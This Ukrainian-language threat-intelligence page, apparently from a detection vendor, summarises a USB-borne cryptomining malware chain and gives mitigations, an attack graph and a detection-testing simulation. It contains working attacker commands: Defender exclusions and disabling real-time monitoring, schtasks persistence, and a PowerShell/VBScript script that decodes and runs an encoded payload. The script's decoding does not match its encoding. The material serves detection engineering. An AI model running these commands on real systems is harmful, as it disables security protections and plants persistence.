SOC Prime Bias: Середній

02 Dec 2025 20:53

DIRTYBULK і друзі: USB-зловмисне програмне забезпечення, яке живить майнінгові операції

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
DIRTYBULK і друзі: USB-зловмисне програмне забезпечення, яке живить майнінгові операції
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

У звіті детально описано кампанію зараження, що використовує USB-носії та шкідливі файли-ярлики для розповсюдження багатоступінчастого ланцюга зловмисного програмного забезпечення для майнінгу криптовалют. Початкове виконання підвантажує DLL з ім’ям printui.dll із фіктивної директорії System32, потім передає роботу дроперу (CUTFAIL), далі запускаючи завантажувач (HIGHREPS) та бекдор (PUMPBENCH). Бекдор PUMPBENCH зв’язується з сервером PostgreSQL для отримання додаткових корисних навантажень і в результаті запускає майнери XMRig. Операція підтримує стійкість через виключення у Windows Defender, заплановані завдання та шахрайські сервіси.

Аналіз

Дослідники Mandiant розібрали ланцюг атак і підкреслили чотири основні родини зловмисного програмного забезпечення: DIRTYBULK, CUTFAIL, HIGHREPS і PUMPBENCH. Вони зафіксували шаблони назв файлів акторів, зловживання побічним підвантаженням DLL printui.dll, зміни в реєстрі та пов’язані мережеві показники. Аналіз також розкриває методи збереження стійкості, включаючи заплановані завдання та сервіси, пов’язані з групою сервісів DCOMLaunch.

Пом’якшення

Рекомендовані засоби захисту включають блокування виконання файлів-ярликів, що походять з переносних медіа, моніторинг команд, що додають виключення у Windows Defender, виявлення підозрілої діяльності з побічним підвантаженням printui.dll та пошук сервісів або запланованих завдань, що використовують випадкові шестизначні назви. Застосування мережевих контрольних механізмів проти відомих шкідливих доменів і DoH розв’язників може додатково обмежити канали командування і управління.

Відповідь

Як тільки виявлено, ізолюйте уражений хост, видаліть шкідливий DLL і пов’язані компоненти, видаліть образливі заплановані завдання і записи сервісів, а також відновіть налаштування Windows Defender, видаливши виключення. Проведіть комплексне судово-медичне сканування для виявлення залишкових навантажень і відстеження зв’язків з визначеною інфраструктурою C2 PostgreSQL. Нарешті, оновіть контент виявлення, щоб охопити спостережувані командні рядки та поведінку створення файлів.

graph TB %% Визначення класів classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ffff99 classDef process fill:#ff9999 classDef service fill:#ccffcc classDef command fill:#dddddd classDef malware fill:#ffb6c1 %% Початкова інфекція через знімний носій node_usb_insert[“<b>Дія</b> – <b>T1674 Вставка даних</b>: Жертва вставляє USB з шкідливою ярликом”] class node_usb_insert action node_lnk[“<b>Файл</b> – <b>Шкідливий ярлик</b> (USB Drive.lnk)”] class node_lnk file node_wscript[“<b>Інструмент</b> – <b>wscript.exe</b>: Виконує VBScript”] class node_wscript tool node_vbs[“<b>Файл</b> – <b>VBScript</b> (x??????.vbs)”] class node_vbs file node_shortcut_mod[“<b>Дія</b> – <b>T1547.009 Зміна ярлика</b>: LNK використовується для збереження присутності”] class node_shortcut_mod action %% Маскування і side-loading node_masq_dir[“<b>Файл</b> – <b>Фальшивий каталог</b> C:\\Windows<space>\\System32 (з пробілом в кінці)”] class node_masq_dir file node_printui_exe[“<b>Процес</b> – <b>printui.exe</b> (легітимний)”] class node_printui_exe process node_printui_dll[“<b>Файл</b> – <b>printui.dll</b> (шкідливий)”] class node_printui_dll file node_dll_hijack[“<b>Дія</b> – <b>T1574.001 Перехоплення виконання: DLL</b>”] class node_dll_hijack action %% Ухилення від захисту через PowerShell профіль node_ps_exclusion[“<b>Команда</b> – Add‑MpPreference -ExclusionPath \”C:\\Windows <space>\””] class node_ps_exclusion command node_ps_profile[“<b>Дія</b> – <b>T1546.013 PowerShell профіль</b>: Виконує команду виключення”] class node_ps_profile action %% Постійна присутність через сервіс та заплановане завдання node_service_create[“<b>Дія</b> – <b>T1543.003 Створення сервісу Windows</b>”] class node_service_create action node_service[“<b>Сервіс</b> – <b>123456</b> створений під DcomLaunch з ServiceDll”] class node_service service node_scheduled_task[“<b>Команда</b> – schtasks /create /tn \”console_zero\” /sc ONLOGON /tr \”C:\\Windows\\System32\\console_zero.exe\” /rl HIGHEST /f”] class node_scheduled_task command node_task_action[“<b>Дія</b> – <b>T1037.001 Сценарій входу</b>: Запускає console_zero.exe під час входу користувача”] class node_task_action action %% C2 розв’язання через DoH і fast flux node_doh[“<b>Інструмент</b> – DNS-over-HTTPS запити до dns.google”] class node_doh tool node_fastflux[“<b>Дія</b> – <b>T1568.001 Fast Flux DNS</b> та <b>T1568.003 DNS розрахунок</b>”] class node_fastflux action %% Використання ресурсів – майнінг криптовалюти node_xmrig[“<b>Шкідливе ПЗ</b> – XMRig майнер”] class node_xmrig malware node_mining[“<b>Дія</b> – <b>T1496.001 Використання ресурсів</b>: Майнинг криптовалюти на скомпрометованій машині”] class node_mining action %% Зв’язки node_usb_insert –>|містить| node_lnk node_lnk –>|виконує| node_wscript node_wscript –>|запускає| node_vbs node_vbs –>|створює фальшивий каталог| node_masq_dir node_vbs –>|копіює легітимний виконуваний файл| node_printui_exe node_vbs –>|замінює DLL на шкідливу версію| node_printui_dll node_printui_exe –>|завантажує| node_dll_hijack node_dll_hijack –>|завантажує шкідливу DLL| node_printui_dll node_printui_dll –>|тригерить| node_ps_exclusion node_ps_exclusion –>|виконується через| node_ps_profile node_ps_profile –>|створює| node_service_create node_service_create –>|створює| node_service node_service –>|вмикає| node_scheduled_task node_scheduled_task –>|запускається під час входу| node_task_action node_task_action –>|завантажує адресу C2 через| node_doh node_doh –>|використовує| node_fastflux node_fastflux –>|надає адресу для| node_xmrig node_xmrig –>|виконує| node_mining

Потік атаки

Виконання симуляції

Передумова: перевірка на готовність телеметрії та базової лінії повинна бути успішною.

Причина: Цей розділ детально описує точне виконання техніки нападника (TTP), призначеної для активації правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати визначені TTP і спрямовані на генерацію очікуваної телеметрії, очікуваної від логіки виявлення. Абстрактні або нерелевантні приклади можуть привести до неправильної діагностики.

  • Оповідання та команди атаки:

    1. Етап 1 – Завантаження шкідливого VBScript на скомпрометований USB-диск (наприклад, E:payload.vbs). Скрипт відключає реальний захист Windows Defender, використовуючи Add‑MpPreference, зашифровує корисне навантаження за допомогою XOR-рутини, і створює заплановане завдання для стійкості.

    2. Етап 2 – Виконання скрипта через wscript.exe безпосередньо передаючи командний рядок збереження (щоб виконати кон’юнктивну умову правила).

    3. Етап 3 – Скрипт інтернально викликає PowerShell для запуску зашифрованого корисного навантаження, демонструючи “ланцюг інфекції”.

    4. Етап 4 – Після виконання нападник очищає артефакти (видаляє скрипт, видаляє заплановане завдання).

  • Сценарій регресійного тестування:

    # ------------------------------------------------------------
    # Регресійний тест — симуляція ланцюга шкідливого зараження
    # ------------------------------------------------------------
    $scriptPath = "$env:TEMPpayload.vbs"
    $taskName  = "WinUpdateTask"
    $xorKey    = 0x5A
    
    # -- 1. Створення XOR‑зашифрованого фіктивного корисного навантаження --------------------------------
    $plainPayload = "calc.exe"
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload)
    for ($i = 0; $i -lt $bytes.Length; $i++) {
        $bytes[$i] = $bytes[$i] -bxor $xorKey
    }
    $encrypted = [Convert]::ToBase64String($bytes)
    
    # -- 2. Запис шкідливого VBScript -------------------------------------------
    @"
    ' Шкідливий VBScript — інфекційний ланцюг
    Set sh = CreateObject("WScript.Shell")
    ' Вимкнення захисту в реальному часі
    sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True
    
    ' Створення запланованого завдання для стійкості
    sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True
    
    ' Дешифрування та виконання корисного навантаження
    Dim encData, decData, i
    encData = "$encrypted"
    decData = ""
    For i = 1 To Len(encData) Step 4
        ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey)
        decData = decData & ch
    Next
    sh.Run decData, 0, False
    "@ | Set-Content -Encoding ASCII $scriptPath
    
    # -- 3. Виконання скрипта через wscript.exe (активація правила) -------------
    wscript.exe "$scriptPath" /B
    
    # -- 4. (Опціонально) Зачекайте кілька секунд для запуску завдання ----------------
    Start-Sleep -Seconds 10
    
    # ------------------------------------------------------------
    # Очищення — видалення скрипту та запланованого завдання
    # ------------------------------------------------------------
    Remove-Item $scriptPath -Force
    schtasks /Delete /TN $taskName /F
  • Команди очищення:

    # Видаліть залишкове заплановане завдання (якщо ще присутнє)
    schtasks /Delete /TN "WinUpdateTask" /F
    
    # Видаліть будь-які залишкові файли скриптів
    Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue
    
    # Увімкніть захист у реальному часі
    powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"